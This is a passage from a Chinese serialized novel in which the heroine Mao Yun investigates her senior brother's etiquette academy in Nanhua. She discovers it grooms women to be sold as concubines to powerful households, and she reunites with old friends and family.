茉云一脸愤然的看向那周劲，他又满脸安稳的坐下丝毫不搭理茉云，穆棱在一旁忍俊不禁。
茉云嘴角的上扬看向腾腾赞许的说道：“行，挺有本事！”
又来了客人，面摊的摊主又忙碌了起来，直到一个女子牵着一双幼童出现他的视线，他随即停下了手中的活，脸上的冷漠瞬间化为温和，是他的妻子来了，孩子们欢快的打闹跑着，笑声清脆悦耳，妻子看向丈夫微微晃动着手中的饭盒，脸上挂着灿烂的笑容，眼神中都是温柔。
摊主冷峻的面容瞬间温润如水，看向妻儿目光中
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透出无限的宠爱和温柔，妻子轻轻拍打着孩子的肩膀，孩子们兴奋地朝奔来抱着摊主的大腿，摊主低头望着他们，因手上有面粉，所以用胳膊轻轻爱抚的趁了一下他两的头。
茉云笑了，顿觉初夏的夕阳照在自己身上亦是暖暖的。
就在这时，妻子忽然注意到了坐在桌前的茉云，她两是老友，看到她的身影，妻子兴奋地朝女将军跑来拼命比划着什么，脸上绽放出如花般的笑容。
“亚亚，你孩子都这么大了！”
亚亚开心的点点头，又在比划着什么，连腾腾也意识到她是个聋哑之人，可她亲切的招呼一双儿女来和茉云打招呼，茉云开心的从兜里拿出刚街角刚买的玩意儿。
小姑娘似乎半分不怕生，跑到茉云面前，用她那稚嫩的而奶声奶气的声音，甜甜地叫了一声：“姐姐！”
茉云看向她，顷刻间都差点被她的笑容融化，立马开心将小玩意双手捧给他们挑，他两谢过之后，便开心的拨弄了起来。茉云亦跟亚亚一通乱比划，大概的意思是你怎得这般好命，我混迹了半生，连个夫婿都没有，更别说这么可爱的孩子。
说完茉云伸手摸摸小姑娘的头，就是一脸稀罕的表情，小姑娘从兜里拿出了果脯放在茉云手上，开心的告诉茉云：“好吃！”
“你怎么这么好！”茉云开心的放在嘴里说道。
“二叔，这小姑娘真善良！”腾腾望向穆棱感叹的说道，穆棱亦笑了点点头，看见故人一家幸福美满自己也很开心，“她居然能看出我姑姑是女的，她还叫她姐姐，顶多是大妈嘛！”
茉云转身就是一脚，差点把腾腾踢飞，幸亏他闪得快，顿时穆棱笑得前俯后仰，周劲此时亦望了过来居然乐了，这孩子果然是穆能的儿子，跟茉云那也是冤家。
就在故人见面相谈甚欢之际，茉云忽然转身望向周劲说道：“城中姑娘可嫁太师，元帅和太傅府之事，你可知？”
周劲忽得怔了半刻没有言语，茉云则眼神透过一丝轻笑说：“这番迟疑，那便是知道？城中哪家有这般通天的本事？”
“你是以什么身份问我？”
“亚亚的朋友和……恩人的身份可以吗？”
周劲深深叹了口气将灶门的火掩上，然后将手在围裙上擦了擦望向茉云，茉云顿时摆出了防御的架势。
周劲无语的望向茉云，茉云却眼中透过一丝冷厉：“动手的话，我可不想当着亚亚和你们儿女的面将你打趴，可是如今我的身手，没得轻重！”
周劲无可奈何地坐下说：“你可去问你师兄许攸，他如今是琼枝苑的主事，我就是个面摊下面的！”
“你说你知道的就行！”
“这南华再也不是昆玉包俞四家说的算，琼枝苑现在也是城中鼎沸之所！”
“琼枝苑？唱戏的？”
“礼仪教习堂，只要他们学堂接纳的女子，日后都会嫁高门显贵，光耀门楣，全家也都跟着沾光！”
“可我师兄只会唱戏啊？”
“他今时不同往日了……”
茉云看向周劲若有所思，总觉之他话里有话，她回头之时看见腾腾带着亚亚的儿女玩着机巧的玩意儿，亚亚亦笑成一团的样子，自己并不想打扰他们好不容易美满的生活……
她起身拍拍周劲的肩膀说：“行，谢啦，面倒是手艺没差！”
周劲深深吸了口气看着茉云，她是讽刺自己人却是没了血性？
茉云则温和的笑了指着亚亚宽慰他说：“也有了点人情味！”
周劲无语的转开了面容，显然眼神中透过一丝不自在，他就是刚硬了一辈子，打杀都不怕，却说不得半点软和话之人。
茉云转身望向南华这座风雅之城，这满城所谓之礼，不过都是在人舌上颠簸，不知曾轻易的嚼碎过多少人的一生，哪怕自己不再与他有牵连，也绝不可能任由这些蛆和蝇沾染他们半分，它们连提他的名字都不配！
将军有剑，不斩苍蝇，那就我来！
147.琼枝
翌日茉云则寻到了南华的琼枝苑，它依河而建青砖黛瓦，门口几株盛放的芍药娇艳欲滴。初夏时节，空气中弥漫着淡淡的花香，河水潺潺，翠柳依依，此处一看便觉风雅。
大门古朴厚重，红木雕花厚匾上刻着“琼枝苑”三字，透露出一股肃雅与端庄。茉云张望而去，这里的学娘们个个都身着素净的纱衣，行走间举止有度，眉目含羞，一颦一笑皆透是大家闺秀的端庄风范，就像一个模子刻出来的。
“走走，哪儿来的登徒浪子，在这胡乱张望！”院外的守卫忽得围了过来。
“哦，我是来拜访许攸的！”
“许攸？我们这儿没有这个人，快滚！”
茉云奇怪的望向那人，最终还是转身了，可一眨眼的功夫她就乘人不备，飞身入了院内，结果一不小心落在了女子抚琴院内，忽得一男子从天而降，于南华而言，这可是极大的不敬，稍有不慎便会毁了女子一身名誉，女子们吓得尖叫，这个时候一群凶狠的粗壮的女嬷嬷拔刀便将茉云围住。
“这是哪儿来的登徒浪子，不要命的敢闯琼枝苑！看来只能要了你的狗命了！”
此时二楼的门清然推开，走出来一位温润如玉的公子，他便是琼枝苑的主人忘忧。他生得一副清俊面容眉眼如柳，气质如同玉石般莹润，举手投足间尽显儒雅风范。一袭月白长衫，宽袖飘逸，腰间仅束一条素带，站在楼上便仿佛是这座苑中最不染世俗的存在。
“师兄！”
忘忧抬目望来愣松在原地，瞬间认出了茉云，她如烈火般闯入这静谧之所，眉眼皆是笑意，头发高高束起，还是一副英姿飒爽的模样。
“诶，师兄你这柳条似娇弱的身子，住在河边。不怕被风刮了去？”茉云顷刻笑了大声说道。
忘忧眼底居然闪过一丝无奈的笑意，众人都诧异的望向苑主，世人皆知他虽温润却不苟言笑。
“苑主！他居然闯入……”
“众人不比惊慌，她是我师妹，本就是一女子！”忘忧温和的解释道，嬷嬷们看向茉云才尊敬了起来，是听闻苑主有一师妹向来豪放不羁，与他截然相反的性格，却很得忘忧欣赏，“有劳请她上来！”
茉云岂等人引路，飞身便跳上了二楼，忘忧只得无奈的摇摇头，让她入了自己雅居。
“师妹，你这性子倒是半点没变，依旧这般张扬。”忘忧轻声道，声音温和中带着些调侃，他坐下清雅如玉的拿起茶具轻轻泡茶，仿佛这世间再如何喧嚣都无法撼动他心绪。
“我倒是怕你这师兄老成得连玩笑都开不得了！”茉云拍了拍他的肩膀，随从看着都退到了一旁，两人一看便是如亲人般亲昵，茉云自小从不把他师兄当男子对待。
毕竟他们自幼一起学过戏，师兄天赋卓然，而她终日里胡闹，他两性格迥异，却如同亲兄妹一般默契十足，他不知道帮茉云挡了多少师傅的责罚，许攸长得秀气，只要街上谁敢欺负他，茉云跳上去就揍。
忘忧微微摇头，笑着让她坐下：“我这里可不是打斗之地，也没人陪你舞刀弄剑，怕是要把我这群女学员们吓坏了。”
“师兄，我也长大了，懂事了！”茉云端起茶就喝，被忘忧伸手拦住了，看着她，“师兄，你不信啊！”
“烫！”
“哦，茶太烫，那弄杯酒喝喝呗！”
“我这里没酒！”
“啥意思，师兄，我不远万里终于找到了你，你不好吃好喝的请我一顿？”
忘忧轻声叹气眼底却笑意依旧，他怎么不知道，他这师妹的直率与洒脱，他们虽是两个世界的人，却有着深厚的羁绊。
“请你去城中得月楼吃！”
“师兄，还是你好！”茉云满脸感动的说道。
忘忧怔了半刻望向茉云又笑了，幼时被师傅罚跪，每次自己将偷来的食物给茉云，茉云都是一边狼吞婚宴一边这般说着。
二人乘着马车出去，茉云从车窗中看见，城中之人见到琼枝苑的马车都肃然起敬的让道两旁，两人用膳之时，茉云还如幼时那般饿狼扑食，随从皆看了过来，如此不雅，忘忧眼中也没有半分嫌隙。
聊起往昔，谈论着年少时的趣事，茉云谈笑风生，挥舞着双手模仿着当年师傅抓她的样子，忘忧静静听着总被她逗笑，当听着谈起师父的严厉和关爱，他眼中亦透过一丝伤感。顷刻间彼此心中的距离又缩短至最初，没有血缘却胜似亲兄妹。
快吃完之际，茉云起身将剩下饭菜全然打包。
“你往日里从来都是吃饱了这顿，不管下顿的，倒是这儿长进了？”
“什么啊，我这不是还有人要养！你不知道我大哥自己坐牢了，留下个二哥，侄儿要养，你不知道他多能吃？”
忘忧愣松了半刻望向茉云问：“那你为何不叫你侄儿、穆棱他们一同来用膳！”
“我侄儿憨傻，我也没时间教。如今师兄你从事的是这般风雅的事业，我怕带他来污了你的地方，让别人笑话，糟你厌弃。”茉云小心翼翼将饭盘中的菜都倒入荷叶鸡的荷叶中包着。
“茉云，如幼时一样，我永远不会厌弃你和你家人！”
茉云愣了半刻，转身望向忘忧，他的眼中恢复了幼时的纯粹，茉云则灿然而笑点点头说道：“对了，师兄，这些年有人欺负你吗？”
瞬间换得忘忧沉默了半晌：“如何这般问？”
“咱也和幼时一样，如果有人欺负你，我揍得她叫我奶奶，叫你爹！”茉云挥舞着拳头像幼时一般装作恶狠的说道。
忘忧又被逗笑了说道：“我很早之前就想问，那你不成我娘了吗？”
茉云继续收着饭菜笑着说：“诶，咱不要注意这些小节！”
忘忧笑着无奈的摇着头，方茉云永远是这般的跳脱和欢乐，好像世俗的苦痛都沾染不上她半分。
“怎得想得带家人来南华游历！我还以为你此生都不想再入南华！”
“什么游历，逃难罢了！哎……别提了！”茉云转过了头，她怕他见到自己眼中的闪烁，幼时自己曾经答应师兄，再也不骗他，可是此事太过蹊跷，自己不得不查清原委。
“跟师兄有什么不得说的，你有何难处？”
“我没什么难处，就是昔日去关外习武，你也知道的，得罪了大部落主的女儿，她是个疯子，我后来了落霞镇，她居然派人来一把火将村子烧了，得亏没闹出人命，我只得装疯卖傻当做他们是侵犯国土，结果南境驻军打了过去，部落赔偿将村子稍微修缮，可我在村子里也不好再待下去，再着部落之人记仇你应该也晓得，所以这些年我带着我大嫂、侄儿还有二哥就在南境晃晃悠悠呗。”
“大哥？为什么坐牢！”
“我大哥给爹娘报仇了，可是这辈子要将牢底坐穿！”
忘忧深深吸了口气，茉云也叹息了一口气，但是马上又风轻云淡的笑了继续收拾着食物，忘忧看向她就是一块小食都谨慎小心装着之时，心中不免揪疼，这些年怕是茉云亦是受了不少的苦。
“等下我随你回客栈，也见见二哥和你侄儿！”
“还有我大嫂，你知道吗？那时候我就跟你讲，我大哥脑子缺了弦，结果他找个妻子，爱他爱得要死，也是
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个缺根弦的。”茉云边笑着边将饭食收拾着。
“青岚呢？”
此时茉云的手忽然停了下来，人也沉默了，良久之后轻轻地说道：“她走了……”
忘忧又愣了半刻，要知道他从未从茉云的脸上看到这样的神情，他深深吸了一口气咬紧牙关，原来茉云和他一样，十几年的岁月蹉跎，尝尽了人世苦痛。
他们走出了得月楼，忘忧则随她去客栈见家人。
“二哥！大嫂！腾腾！”茉云走入俭朴的客栈便声音洪亮喊道，喊得屋中人纷纷转头，店主如以往起身行礼，但是眼中却不屑看他们这些穷住客一眼，可是他瞬间愣住马上行了大礼，跟着进来的居然是琼枝苑楼主，忘忧只是回礼亦没多望他一眼。
可是看见茉云的家人，忘忧立即微微一笑，走到他们面前，拱手对二哥与大嫂行礼，言语温和有礼：“冒昧前来，多有叨扰。”
穆棱看见了忘忧边开心的喊道：“许攸兄，许久未见！”
“二哥，师兄现在叫做……”
忘忧拦住茉云温润笑了说道：“二哥叫我许攸便是……”
“师兄，这是我大嫂，这是我侄儿！”
大嫂一脸憨笑的行了礼，腾腾亦行了礼，茉云则拿起了打包的食物夸张地说道：“腾腾，饿坏了吧，看我给你带来了什么！”
腾腾立刻眼睛一亮，立刻从蹦下来，欢快地喊道：“姑姑！是什么！”
穆棱立刻招呼他坐下，气氛顿时变得更加亲切。他温润如玉的气质，与这热闹的家庭氛围相得益彰。腾腾边大口吃着鸡腿，便好奇的望向忘忧。
“瞧你这没出息的样！”
“姑姑，我饿坏了，好久都未吃过鸡腿了……”
穆棱愣了半刻看向腾腾，腾腾则继续狼吞虎咽的吃着：“腾腾，你……”
“师兄，小孩嘛，您见谅啊！”
“没事，茉云小时与他无异，我也习惯了！”可是忘忧深深吸了口气，可见他们的日子过得极不宽裕。
“我是他这德性？”茉云质疑的说道，腾腾并未反驳，一脸憨傻的笑着吃的满口油腻。
“人至少不跟恶狗抢食！”
“师兄！别当着我侄儿说这些！”茉云马上凑来小声威胁道。
穆棱和忘忧瞬间都被逗笑了，茉云幼时为了吃食可没少闹过笑话。顷刻间笑声、言语声、腾腾和茉云的吵闹声交织在一起，温馨而和谐，仿佛此刻所有的身份与礼教在这一刻都被冲淡。
夜幕降临，忘忧起身要告辞了，南华城的街道在朦胧的灯笼下显得格外宁静。茉云和穆棱、腾腾送忘忧到客栈门口，月光透过枝叶洒在他们身上。
忘忧依旧是那副温润如玉的模样，眉眼间透着几分宁静，嘴角微扬茉云他们告别。
“师妹，时候不早了，你也早点歇息吧。”他轻声说，声音如春风般温和，他轻轻拱手告别转身上了精致的镂雕马车。
茉云远远看着渐行渐远的马车心中微微一紧，这个熟悉却又陌生的师兄，曾是那个充满理想和诗意的少年，与她一同观星赏月，笑谈未来，然而如今，他虽依旧是温润如昔，但那股眼中的生动仿佛已被岁月消磨殆尽，取而代之的是一种深深的孤寂与颓然，是自己的错觉吗？
风起吹开车帘，忘忧回看而去，月光洒在空荡的街道上，远处的腾腾还在向他挥手道别，他却无力收回目光靠在车中，自己早已融入这黯淡的夜色中，仿佛已不再属于这个尘世一般，突然他想起了今日茉云的一句话，师兄，有人欺负你吗？
奈何人生若只如初见……
148.琼枝（二）
众人再回到客栈房里，腾腾马上围了过来看向茉云。
茉云笑了摸一下腾腾的头说道：“表现不错！”
“他居然敢这般污蔑我卢叔！士可忍孰不可忍！”
“万一你那位卢叔，真的纳了三个小妾，而你不知道呢？”
“不可能！”
“为何不可能，毕竟这几年，我在他身边也就那么百来天，平常谁知道呢？”茉云咬着果子若有所思的说道。
“绝无可能！”腾腾顿时愤然拍桌轻吼道，“世家男子谁能如我卢叔这般顶天立地，忧国忧民，他乃当世英雄，我不允许任何人污蔑他的德行！”
“娶三个小妾就是污蔑？那皇上咋办？”
“我卢叔一心只系家国天下，绝不可能是流连温柔乡之人，他在外统军几十万，大战在即，这些流言四起，影响军心怎么办？得道多助失道寡助，卢家军本是南境万民心中的敬仰，那些污蔑他的人居心叵测！”
穆棱都略微有些吃惊的看向腾腾，茉云则咬着果子轻轻笑了，伸手摸了一下腾腾的头：“有点长进，能看到这一层！对，乱我军心者决不可容！”
“茉云！”穆棱则深吸一口气望向茉云说道，“许攸是你师兄，还曾是大哥的结拜弟弟，他若犯错……”
茉云转身望向穆能，烛光下她眼神中透出的狠戾显得格外瘆人：“若是你，大哥的亲弟，作奸犯科，要办我也一样办。”
穆棱叹息着最终没有说什么，目光中透着一丝无法言语的怅然。
茉云则抬头望向苍穹，月暗星淡，当日走之时，正啸在自己面前挥舞银枪的样子时常浮现在眼前，任前路如何艰难坎坷，自己定然披荆斩棘，无所畏惧，何况这暗流藏在他的身后……
这几日茉云就在客栈呆着，腾腾有些着急的望向她，可是她依旧没有动，日日带着腾腾四处游历。十日之后，茉云让人送了封信给师兄辞行，然后让大家收拾东西准备走，可不到半个时辰，忘忧就风尘仆仆的赶来了。
“师兄这几日正好事忙，怠慢了你！为何如此匆匆离去？”
“师兄，你想多了，我一般一个地方就呆上几日，而且南华繁华，物价房价也高，师兄，后会有期。”
“今时今日你何须在意这些，都由师兄为你负担皆可。”
茉云则淡然笑了，望向忘忧抱拳准备离开，忘忧立即知道自己失言了，茉云自小心高气傲从不吃嗟来之食，善人善心她可接受，可若是可怜她便是羞辱她。
忘忧深吸一口气看向茉云道：“你当日说的，若有人欺负师兄，你定然仗义相护，还作数不？”
“当然，谁要害你！”
“在这南华城，想我万劫不复之人岂在少数！”
“为何？”茉云不解的放下剑看着忘忧，“你还是先告诉我是谁！我即刻就去！”
“扑朔迷离！”
“师兄，你不知谁要害你？”
“你也知道这南华女子皆以高嫁光耀门楣为殊荣，而师兄的琼枝苑便是为他们提供了一个改变命运的机会！”
“那你这是帮人啊？人为何以德报怨！”
“可师兄能力有限，也只能收容一些品德绝佳，形态尚可的女子，总不能面面俱到，许是有些心生不满，暗中在琼枝苑使坏，其实这些日子以来琼枝苑便是不太平！”
“师兄，我知道了，你不用再说，二哥，大嫂，我们晚些时日再出发，我必须跟师兄将此事查清！”
“哦，好！”大嫂点点头放下了包袱。
忘忧走后，腾腾满脸都是敬佩的望向茉云，她说他十日后，一定会来使劲浑身解数来劝自己留下，他果然就来了。
“快马加鞭去落霞镇查探，我们村里是不是因我被烧过，正好只需十日罢了。”茉云冷笑着望向腾腾说道，穆棱满脸怅然只是沉默……
忘忧将茉云他们接到了琼枝苑不远一个幽静而精致的小院，因为穆棱和腾腾都为男子，皆不能出入琼枝苑，将他们安顿附近方便照料，也好过他们如此飘泊，茉云则执意跟着忘忧去琼枝苑做了女护院，好查探琼枝苑，确保他师兄的安全！
茉云站在琼枝苑院中，这些亭台楼阁错落有致，青砖白墙飞檐斗拱，与四周繁茂的花木之艺相得益彰。正中央是这桌高雅的堂屋，窗棂雕花门扉红漆，是教授礼仪与规矩的地方，常常能见到身着素雅衣裙的女子们在此练习行礼与举止，嬷嬷们则在一旁严肃地监督，一丝不苟。
各个小院中分布着不同的教习，琴院中琵琶、古琴陈列在精致的木架上，梁上仿佛都缠绕着丝竹之声的余韵；棋院中女子们正在棋盘前凝神对弈，眉宇间透出几分智慧的锋芒；
书院中，窗外青竹映影，屋内竹简、书卷排列整齐，案几上摆满了笔墨纸砚，女子们正专注地临摹书法；而画院中，墙壁上挂着各位名家的画作，众人在赏析着各家所长。
不仅如此，琼枝苑里还有专门教导女学生算数、持家之道的课程。嬷嬷们严厉地教授这些女子如何掌管家务、如何持家过日子，如何在复杂的宅院中游刃有余。
更甚，还会教授如何用温柔得体的言辞讨得夫君欢心。女子们会学会对夫君如何言辞温婉，对外如何举杯言笑得体，每一言一行都需符合礼教，但也必须懂得揣摩人心，掌握如何在夫家把握女子分寸，赢得夫君的宠爱。
嬷嬷们终日皆拿着竹条神情严厉，腰背挺直，她们不仅以言辞警示，更会亲身示范，任何女子学院一旦越矩出错，都会被立即纠正，甚至遭到体罚。她们不苟言笑，时刻注视着，确保每一位学成的女子都能符合高门大户的标准。
清晨的琼枝苑，茉云双手抱剑站在阁楼顶上，看见女子们从寝院中排队而出，身着素净的练功衣，手捧课本，向各个院走去。
微风中，她们身影绰约，步伐整齐，脸上透出些许紧张与期盼。茉云不禁可叹，每位女子都仿佛如一块璞玉经过精雕细琢，成了一个模样，那便是达官贵人富贵之家需要的样子。
茉云来此处查探几月有余，居然没有半分不正常之处，她望向了苑内深处一间密院，此院轻易不开。
直到一日完成学业的一期的学员快要离开了，密院居然开了，几名非常优秀的学员被送入了院中。
而院中教习才缓缓而来，茉云挑眉望向此教习嬷嬷，和其他嬷嬷完全不同的风范，她应该已经年过四十，却依旧风姿绰约，举手投足间透着一种难以言喻的魅力。
身材纤细高挑，步伐轻盈如风，面容虽不再年轻，但带着岁月沉淀的斐然风韵，眉心一颗淡淡的朱砂痣，又增添了几丝神秘感。她的发髻梳得一丝不乱，插着一支金步摇，走动之时随着她的纤纤细腰一道轻轻摇曳，一颦一笑摄人心魄。
茉云终究是忍不住好奇，从房梁上跳进了院内，走进了暗室内，室内青灯微明光线幽暗，四壁挂着描绘古代闺房隐晦之屏风。地上铺着厚厚的织锦毯，房中摆放着柔软的丝绸榻具。空气中弥漫着一种轻柔的香气，让人不由自主地感到一丝绵软和心跳。
教习的嬷嬷在低声耳语与温和讲解，她在此教那几名女子闺房之事，教她们如何在用言语和姿态取悦夫君，并非那些方正礼仪，而是情感的把握与身体的语言，既不失女子分寸，又充满了极为私密的心思，让夫君魂牵梦绕。
茉云顿觉无语的马上转身疾步离开了院落，可是看见院中有酒，便拿起酒壶闻了一下，好酒，她刚想往嘴里倒，便停住了看着若有所思。
此时屋内教习嬷嬷走了出来，一脸妩媚如春风的笑容：“你就是新来的方侍卫长吧，我是玉心兰！”
“酒能喝吗？”
“能啊！”
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“不是，我是担忧这是你教学的道具，喝了尚可？而且这酒闻起来就不便宜，若是还有些药材，给我喝了岂不是浪费！”茉云直率的说道。
玉心兰顷刻间笑得花枝乱颤说道：“奴家岂是以药迷人之人！”
“冒犯了，主要是您不是，我是，我每次打不赢之时。第一个想到的就是蒙汗药！所以以小人之心度君子之腹是常事！”茉云则笑了往两个白玉底座雕花杯里倒着酒。
“你果真是个有意思之人，是院主的师妹吧！曾听他提起过，你是他见过最自由自在，无拘无束之人。”心兰轻轻提起纱裙坐下。
茉云抿了一口便喜笑颜开的一饮而尽。
“还未嫁人吧，所以瞧见屋内之事便速速离去。”
“对，所有还没必要学，等嫁人了找姐姐学！”茉云开心的又一饮而尽，继续倒着酒。
玉心兰嘴角露出一抹妩媚的微笑看向茉云：“不鄙夷此事？”
茉云举起酒杯看向玉心兰笑着说道：“世间事门门有行道，术业有专攻，我从不轻看我不精通之事，都是敬佩！”
玉心兰纤纤玉手端起酒杯和茉云碰杯，两人一饮而尽。
“你果然如苑主所言。”
茉云喝着酒满脸皆是憨笑，心中却想这玉心兰不论是穿戴还是佩饰都绝不是出生贫穷之人，可在这南华城里不可能有哪家富贵人家的夫人能出来教这些，那她难道是谁的……外室？可是在南华，见不得人的外室简直猪狗不如受人唾弃，她是什么缘由呢？
“其实我教的并不是如何侍奉男人！”玉心兰轻轻放下玉壶，眼中闪过一丝媚笑却带着韧性。
茉云望向玉心兰笑容中都是坦诚，可是心里却想姐姐，要不你告诉我你是谁的外室，或者这琼枝苑到底在搞什么鬼，其他的其实我并不感兴趣。
“男人，其实天生都是有征服欲之物，他们并不逆来顺受，他们征服亦可，被征服亦可，而女子若能掌握了主动权，才能在家中保有尊严。”玉心兰轻轻抿了一口酒，眼中柔情似水却也透着隐秘智慧的笑了，“要不要我教你，半炷香的时间放倒一个男子。”
茉云懵懂的陷入沉思倒是乐了，心想真的假的，老子研究了几年卢正啸剑术的破解之术，如今发现他枪法更牛，结果此人跟我说，玉心兰这柳条似的细腰，手臂还没有竹条粗，人半炷香的时间能放倒他？
可是她瞬间心中摇醒了自己，自己怎么想到他那儿去了？
“有心上人？”玉心兰看向茉云问道。
茉云马上调整心绪迎着心兰的目光笑了：“可是我小时我爹娘都说，好女子都是贤良淑德的，也就是逆来顺受！”
“那定然是你爹娘出生不错，希望你做个正室，而这院子里的姑娘出去都是做侧室和妾的！”玉心兰淡然的望向院外的骄阳，眼神透出一丝恻隐，“特别是入这个院的姑娘们，他们学这个都是夫君定的，是要加钱的！我也只能尽力让她们多一门稳固地位之秘密手段，让她们能多过几日舒心日子。”
茉云怔在原地，可是她马上掩盖了自己心思，而心中怒火早已冒出了三丈，自己总是在院内找线索，可没有找到院外，那这不就是卖吗？将培养好的女子卖到大户人家供人取悦，两边都能收钱，师兄做得一手好买卖呀！
那些妓院乐坊的老鸨，顶多是将自家的花魁，乐师画成画，当成招牌，挂在大堂招客，招揽生意。
这琼枝苑这般厉害，可怜他们一个鳏夫，一个大龄刚婚，这等买卖，半分钱没拿，平白来这儿来给你们招揽生意了！
居然让卢正啸和关若辰来做活招牌，是啊，连威名满天下的卢正啸和公子世无双的关若辰都来这琼枝苑觅得了良缘，那其余人还不是趋之若鹜来享他们享的福，可谁又吃过他吃的苦，谁又吃得下他吃的苦……
149.故人
茉云跟玉心兰饮完酒，走出小院正瞧见忘忧，她便招呼都未打一脸漠然的走了，忘忧知道她定然知道暗院之事，无奈的叹了口气，他这个师妹她了解，她自幼便是嫉恶如仇。
此时腾腾和穆棱在院中对弈，却瞧见茉云怒气冲冲进来，而忘忧没多久也跟了进来。
“师兄，你这跟贩卖妇女有何差别？”
“贩卖妇女是将其买入肮脏之地，强迫其屈服，违背其志愿！”忘忧望向茉云耐心地解释道，“可你知道这南华城中小家小户的女子，未来的命运是什么？她们的一生夙愿是什么？”
茉云愣了半刻望向忘忧，她当然知道这城中女子一身盼望高嫁。
“琼枝楼便是南华城普通女子们通往荣耀的桥梁，也是她们命运转折。不然穷其一生在这南华沦为下等女子，都是昆玉包俞四家之奴婢吗？”忘忧的眼中顿时迸射出忿然和不屈，“师傅当年就是被包家呼之即来挥之即去，只因包家能判他是雅还是俗！凭什么这南华城中的所有礼仪尊卑都是他们说的算，而他们自己确如此肮脏不堪！”
茉云则深吸一口气望向忘忧，此时她好像都不认识这个眼前暴怒的人，他是经历了什么，让他如此之恨。
忘忧最终闭上眼睛，再睁开之时又恢复了往日的温润：“师兄是绝不会去伤害她们，只盼她们能得偿所愿，换得一个好的未来，你可在琼枝苑随意走动，便可问任意一人，谁可有强迫她们？”
茉云知道那些女子都是心心向往，对以后嫁入高门大户满是憧憬，可以日日起早贪黑的研习，怎会有一人是不情愿。
“所以请不要怪罪师兄……”
茉云瘪瘪嘴巴想着凑近说道：“师兄，那你觉得我要学学吗……”
忘忧顷刻又被茉云逗笑了说道：“你当然不用学，日后师兄一定为你觅得世上最好的男子做你夫婿。”
“哼，用你介绍，我姑姑身边皆不是那些凡夫俗子！”腾腾忿然的小声嘟囔。
“什么？”
茉云眼神瞪向腾腾，腾腾马上满脸憨笑说道“师叔，我是说那些凡夫俗子都配不上我姑姑！”
“对！”忘忧眼中充满的爱护望向茉云。
“哎，你啊，别再夸奖她了，她就是终日胡闹，看你能不能让他改改！”穆棱叹气着说。
“师妹并非凡胎，不能以俗世的标准来断。”忘忧眼中透出温和和欣慰的光，“师妹不用学，亦无需改，一切都是最好的，日后能配得上师妹的定也是世间最好的男子。”
茉云满脸赞成的憨笑背后，心中却深深叹息，若是旁人如此说，不是吹捧之词就是虚伪之词，可是此时她知道师兄是坦率的，没有半分虚情假意，自幼不论旁人如何说道，哪怕是师傅斥责之时，师兄都觉得自己好，觉得自己只是不小心犯错，觉得自己只是一时贪玩情有可原，可是什么将自己如此仁慈而善良的师兄，变成今日这般恶魔的模样……
忘忧走之后，穆棱深深叹息了吟诗道：“浮云一别后，流水十年间……”
“要不二哥你先离开？”
穆棱愣了一下指着门口说道：“自幼我和大哥都是拖累于你，除了青岚，就是你师兄待你最好，青岚已经走了，二哥只是劝你……”
茉云顿时眼露狠戾的望向穆棱：“所以二哥，我绝不可能让师兄成魔，哪怕他下地狱做鬼，也不能成魔！”
穆棱最终深吸了一口气默默地点点头。
这几日茉云都呆在密院，只因玉心兰的酒着实好香，忘忧则松了口气好像茉云还是能理解他的苦心，这让他亦觉甚为舒心。
所有人都能感受到忘忧待茉云极致的好，并非其他，只因忘忧觉得师傅离世之后，茉云便是他最亲的亲人。
茉云坐在密院的围墙上荡着脚，看着这些女子来来去去，若只是从背影看去，自己也来了这么些时日，她却一个都认不出来，想自己也算是耳聪目明，昔日抓罪犯，但凡只要自己见过一面，任他城中如何逃，决然是跑不了的，这琼枝苑真是厉害，竟能将人变得千篇一律的“优秀”。
“看着你的背影，总觉得你愁！”
茉云则飞身跳下，满脸笑意的说道：“看见姐姐背影，总觉得你惆怅呢？”
玉心兰愣了半晌望才低头倒着酒，妩媚的笑了：“徐娘半老，不是件值得惆怅的事情吗？”
“姐姐，谁都会老的，也没那么值得遗憾，就怕等的人没等到。”
玉心兰倒酒的手颤抖了一下，酒倒出了酒杯。
“这南华中人属实凉薄，何必呢！”茉云抬手指向院外笑着说，“姐姐应该是比我通透的人！”
“当局者迷！”玉心兰灿然而笑和茉云讨论道，“情到深处难自尽，若是你无缘之时，是希望他释怀还是不放弃呢？”
“我希望他去干他该干的事，少想这些破事。”茉云直率的回道。
玉心兰怔了一下望着茉云笑了说：“你与你师兄真是不同，你是人间洒脱客，而他是个痴情人。”
“痴情谁？我没看见他有钦慕之人？”
“我不知道是谁，我只知她已经‘死’了！”
“啊！师兄没跟我说啊！”
“那你便不要提他的伤心事……”
茉云若有所思的走入了忘忧的房子，以一双断案的眼睛扫射了一遍，自己竟然半分为发现什么寄情之物，怎得也会留个什么念想，就像峑戎变态的国师，都留着一本书在那儿使劲遐想，可师兄的书房除了书、笔墨纸砚再无其他，更没有一样像是女子之物。
正是午膳后，又喝了几杯酒，茉云趴在书案前边昏睡了过去，忘忧走进来瞧见了，便轻手轻脚的拿起自己的斗篷给他盖上。
待茉云醒来之时，猛然起身，不知为何她感受到有一双冷厉的眼睛瞅着自己，可是周遭也没有人，难道是自己又做了什么梦，这地果然稀奇古怪。
她捡起掉落在地的斗篷丢在桌上，松手的瞬间她又拿起了那披风，手触白斗篷上有绣花的纹路，却是绣的白线，白羽斗篷上绣着白线？这真是白白的浪费功夫，茉云摸着绣纹，好似是一只猫。
傍晚她离开了琼枝苑，正想着问下周劲是不是在城中听过师兄曾经什么感情传闻，路上随手买了个饼充饥，还未出集市就被一个熟悉的声音拦住。
“原来你当真回了南华。”
茉云停住了脚步抬眼望去，看见一位贵妇人从轿子中缓缓走下，穿着一袭典雅的绸缎长裙，步履如轻舞优雅，忽然散发出一种不容侵犯的贵气，仿佛天生来便是高高在上的存在。这个人便是她舅妈，城中鼎鼎有名的俞夫人。
“茉云，你居然还活着！”她嘴角微微上扬的笑意，似乎带着嘲讽，却笑得如此得体。可这份笑意的冰冷扑面而来。
“舅妈也活得挺好！”茉云则抬眉一脸灿然的笑容。
俞夫人眼中更显冷漠，只觉得她沿街吃食，还是如此不知礼数，而且见到长辈之时未行大礼，她目光再扫过女茉云的衣着，眉头微微一挑，仿佛不太满意她如此不着边际的打扮，又很满意她还是这般寒酸没得出息。
“你……这身打扮，倒是比以前还朴素。”她更为轻柔的说，路人看着皆以为是关心，可茉云能感受其深深讽刺，倒是被她逗乐了，她还是这般喜欢伸长脖子说话，依旧像个长脖子鸟。
